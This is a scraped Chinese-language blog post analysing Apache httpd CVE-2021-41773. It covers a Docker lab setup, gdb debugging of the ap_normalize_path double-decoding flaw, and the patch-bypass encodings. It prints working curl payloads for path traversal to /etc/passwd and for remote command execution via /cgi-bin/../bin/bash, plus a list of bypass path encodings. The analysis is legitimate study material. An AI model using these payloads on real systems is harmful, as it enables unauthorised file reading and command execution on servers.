<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    Apache httpd Server CVE-2021-41773 漏洞分析

    VSole2021-11-09 16:12:05

    01\漏洞簡介

    Apache httpd Server 2.4.49 版本引入了一個具有路徑穿越漏洞的新函數,但需要配合穿越的目錄配置 Require all granted,攻擊者可利用該漏洞實現路徑穿越從而讀取任意文件,或者在配置了cgi的httpd程序中執行bash指令,從而有機會控制服務器。

    02\環境搭建

    0x1 docker搭建

    在搭建環境的過程中制作了一個docker容器,方便以后對該漏洞進行復現分析。

    安裝方式如下

    docker run -p 8787:80 -d --privileged turkeys/httpd:cve-2021-41773
    

    關于httpd的編譯過程可參考 https://www.yuque.com/docs/share/771a78c6-7fca-44c7-9cb3-6d1fb3594921

    制作docker的文件也放在github https://github.com/BabyTeam1024/CVE-2021-41773 ,下載下來后直接執行如下指令

    docker-compose up -d
    

    0x2 調試

    環境有安裝好的pwndbg插件,在調試的時候需要注意kill掉root起的httpd進程,只保留一個daemon httpd用來調試

    gdb --pid 1074
    

    源碼調試界面如下

    03\漏洞分析

    在調試漏洞之前首先給自己提出了幾個問題,帶著這幾個問題去分析漏洞,才會更加理解漏洞的核心原理。其次通過httpd源碼調試無死角窺探漏洞觸發過程。

    0x1 問題

    在見到poc之后心里面就有幾個問題一直沒有得到解決

    • 路徑穿越poc為什么是.%2e開始,%2e.不行嗎?
    • 補丁繞過poc是依據什么怎么構造出來的?
    • cgi命令執行poc如何構造,為什么執行的命令在post參數里?

    帶著這三個問題開始CVE-2021-41773 源碼調試漏洞分析之路

    0x2 路徑穿越poc如何構造

    這一切還要和2.4.49版本的httpd在server/request.c中引入的新代碼有關,如下圖所示

    關鍵代碼如下,根據httpd自身的注釋可以了解到這部分代碼的功能是刪除/./和/../一些路徑,其中還描寫到該部分代碼是為了避免ap_unescape_url后的雙重解碼,但是補丁就是因為雙重解碼繞過的。

      if (r-parsed_uri.path) {        /* Normalize: remove /./ and shrink /../ segments, plus         * decode unreserved chars (first time only to avoid         * double decoding after ap_unescape_url() below).         */        if (!ap_normalize_path(r->parsed_uri.path,                               normalize_flags |                               AP_NORMALIZE_DECODE_UNRESERVED)) {            ap_log_rerror(APLOG_MARK, APLOG_ERR, 0, r, APLOGNO(10244)                          "invalid URI path (%s)", r->unparsed_uri);            return HTTP_BAD_REQUEST;        }    }
    

    接下來到這次漏洞的核心函數ap_normalize_path,第一段代碼如下

    int ret = 1;apr_size_t l = 1, w = 1;if (!IS_SLASH(path[0])) {        /* 除了 "OPTIONS *", 每個請求路徑都應該是以 '/' 開頭*/        if (path[0] == '*' && path[1] == '\0') {            return 1;        }        /* 如果開啟了AP_NORMALIZE_ALLOW_RELATIVE配置就能繞過這個限制 */        if (!(flags & AP_NORMALIZE_ALLOW_RELATIVE) || path[0] == '\0') {            return 0;        }        l = w = 0;    }
    

    可以看到在代碼的開始部分設定了w和l變量,其實是使用了雙索引的方式遍歷path數組,完成對path字符串的編碼解析和../刪除工作。其中w指針有回退功能,l指針只會前進,而且w指針永遠指的是真實path將要填充的字符,所以在做字符串判斷的時候一直使用w-1偏移進行索引。

        if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)                && path[l] == '%' && apr_isxdigit(path[l + 1])                                  && apr_isxdigit(path[l + 2])) {            const char c = x2c(&path[l + 1]);            if (apr_isalnum(c) || (c && strchr("-._~", c))) {                /* 如果解碼成功l指針移動到編碼的最后一位,且將解碼后的值復制給path[l] */                l += 2;                path[l] = c;            }        }
    

    在這段代碼之后真正的漏洞代碼出現了

    if (w == 0 || IS_SLASH(path[w - 1])) {    /* Collapse ///// sequences to / */    .......    if (path[l] == '.') {        /* Remove /./ segments */        if (IS_SLASH_OR_NUL(path[l + 1])) {            l++;            if (path[l]) {                l++;            }            continue;        }        /* Remove /xx/../ segments */        if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {            /* 如果l遇到了../開始讓w回退到上一個/,不然的話就賦值 */            if (w > 1) {                do {                    w--;                } while (w && !IS_SLASH(path[w - 1]));            }            else {                /* 如果w回退到0且后續沒有內容則報錯  */                if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {                    ret = 0;                }            }
                /* 因為../的關系讓l指針前進兩個索引 */            l += 2;            if (path[l]) {                l++;            }            continue;        }    }}
    

    漏洞邏輯已經很明顯了在上述代碼的第十五行,l遇到../才讓w回退到上一個/,不然的話就將路徑原模原樣賦值給w指針。那么.的url編碼是%2e,如果遇到%2e./就會回退,因為會先進行url解碼l索引就變成了../,但如果是.%2e/在執行這段../回退代碼的時候檢測不出來../就會先把.賦值給w指針,之后l在%2e進行解碼變成了./但是因為w已經前進了一個索引IS_SLASH(path[w – 1])就無法判斷成功所以代碼又將./依次賦值給了w指針。從而讓path變量中擁有了解碼好的/../路徑片段,實現了路徑穿越。代碼的藝術就是這么奇妙,因為沒有妥善處理特殊情況造成了嚴重漏洞,這給代碼開發人員敲響了警鐘。

    經過分析%2e%2e/路徑也可以達到同樣的目的,在實際調試過程中也是如此,在進入ap_normalize_path函數的路徑為未解析的原始路徑。

    函數解析后r-parsed_uri.path 為含有路徑穿越的../目錄,從而實現路徑穿越

    最后在ap_invoke_handler函數中調用ap_run_handler進行路徑解析,讀取權限允許范圍內的文件內容,ap_run_handler實際為掛鉤函數,其中注冊了很多處理函數。

    0x3 補丁繞過poc構造

    補丁分析,判斷了.%2e/以及%2e%2e/這兩種情況

    在后續的代碼審計過程中發現了ap_unescape_url函數,該函數功能為解碼url字符編碼。因此又存在了幾種poc構造方式,簡單的構造原則為只要一開始時的路徑不是../且在二次解碼后的路徑為../就能滿足條件

    /%2%65.//%2%65%2e//.%2%65//%2e%2%65/  /%2%65%2%65//%%32e%%32e//%25%32%65%25%32%65/ # 這種是不生效的,因為ap_normalize_path不會處理%字符的url編碼
    curl -s --path-as-is "http://localhost:8787/cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
    0x4 命令執行poc構造
    

    在/etc/httpd/httpd.conf配置文件中去掉mod_cgid.so那行的注釋

    主要研究在cgi模式下如何進行命令執行,路徑穿越部分上面已經分析的很清楚了,困擾我的其實是命令為什么是在post參數中。筆者首先用gdb調試了命令執行的過程,kill掉root進程,保留剩下的worker進程

    curl -d 'id>/tmp/a' "http://localhost:8787/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash"
    直接將斷點下在execve函數上,嘗試分析命令執行時post參數是怎么帶入執行的
    

    參數內容只有/bin/bash

    環境變量部分內容挺多,編寫了gdb腳本循環遍歷

    define printall    set $i = $arg0    while *(unsigned long long *)$i !=0        x/s *(unsigned long long *)$i        set $i = $i + 8    endend
    

    用腳本跑完后,post參數也沒在環境變量中,只有CONTENT_LENGTH為9,這正好是id>/tmp/a命令的長度。那么該漏洞到底是如何傳遞命令執行參數的呢?

    筆者猜測是httpd將執行的命令重定向到了cgi程序的輸入流中了,因此編寫了接受輸入流的bash腳本放在cgi-bin目錄下,腳本內容如下

    #!/bin/shread contentecho $content > /tmp/xxx
    

    發送如下數據包

    curl -d 'id>/tmp/x'  "http://localhost:8787/cgi-bin/1.sh"
    結果如下
    

    那么可以證明post參數確實是以輸入流的方式傳入到cgi程序中,這就不難理解為什么命令執行部分構造成

    A=|id>/tmp/xid>/tmp/x
    

    至于echo;id如何做到命令回顯,還沒有深究

    04\總結

    這個apache httpd 路徑穿越漏洞非常有意思,最后代碼維護人員把ap_unescape_url刪掉了避免二次解碼漏洞的發生,簡單粗暴。在復現這個漏洞的過程中也學習到了一些調試技巧,同時也解決了這段時間困擾筆者的幾個問題。文筆粗糙,有什么問題請大家多多指正。

    命令模式路徑分析
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    透過5年創新沙盒變化、創新賽道和熱點技術演進,觀察網絡安全產業創新方向。
    小白必看:超詳細的Wireshark使用教程
    在上一篇文章中已經闡述了數據泄露成本估算的場景類型,接下來就是通過將理論化的風險事件與實際的業務流程易受運營損失類別(使用BIS發布的指南)進行比較,以便可信地描述業務后果,從而更接近現實的現實世界網絡威脅場景。也就是說,我們需要使用實際系統如何工作的知識來創建風險事件發生的場景的詳細信息。
    最全Linux命令總結
    今天,給小伙伴們帶來一篇 Linux 命令總結的非常全的文章,也是我們平時工作中使用率非常高的操作命令,命令有點多,建議小伙伴們可以先收藏后閱讀。
    2)vim 編輯器Vim 是 vi 編輯器的加強版,比 vi 更容易使用。vi 的命令幾乎全部都可以在 vim 上使用。當我們在終端中輸入 vim 命令時,系統會提示 "command not found"。安裝vim且詢問是否時自動選擇yes
    存放用戶賬號的文件在哪里?如何刪除一個非空的目錄?查看當前的工作目錄用什么命令?創建一個文件夾用什么命令?哪個 Linux 命令可以一次顯示一頁內容?如何統計一個文件的行數?使用什么命令檢測網絡是否暢通?如何創建一個新文件, 并且向文件內部寫入數據 "清華大學", 并在當前的文件里面追加數據 "計算機科學與技術"touch?“|”是管道命令操作符,簡稱管道符。vi 編輯器有 3 種基本工作模式, 分別是命令模式、插入模式和可視化模式
    VIM 編輯器操作指南
    2021-10-29 22:51:46
    Vim是一個類似于Vi的著名的功能強大、高度可定制的文本編輯器,在Vi的基礎上改進和增加了很多特性。Vim普遍被推崇為類Vi編輯器中最好的一個,事實上真正的勁敵來自Emacs的不同變體。
    Linux 操作系統中每個用戶都具有唯一標識 UID,當使用命令創建用戶時,如果不指定用戶的 UID,則系統將自動為其分配 UID。當使用 -u 指定用戶 id 時,用戶 id 盡量大于500,以免沖突。因為 Linux 操作系統安裝后,會默認建立一些用戶,所以可能會占用 500 之內的 id 號。Linux 權限機制有以下特點:系統有一個權限最大的用戶,其名稱為 root ,root 用戶屬于 root 用戶組。root 切換到普通用戶無需登錄,普通用戶切換到 root 用戶需要登陸。
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类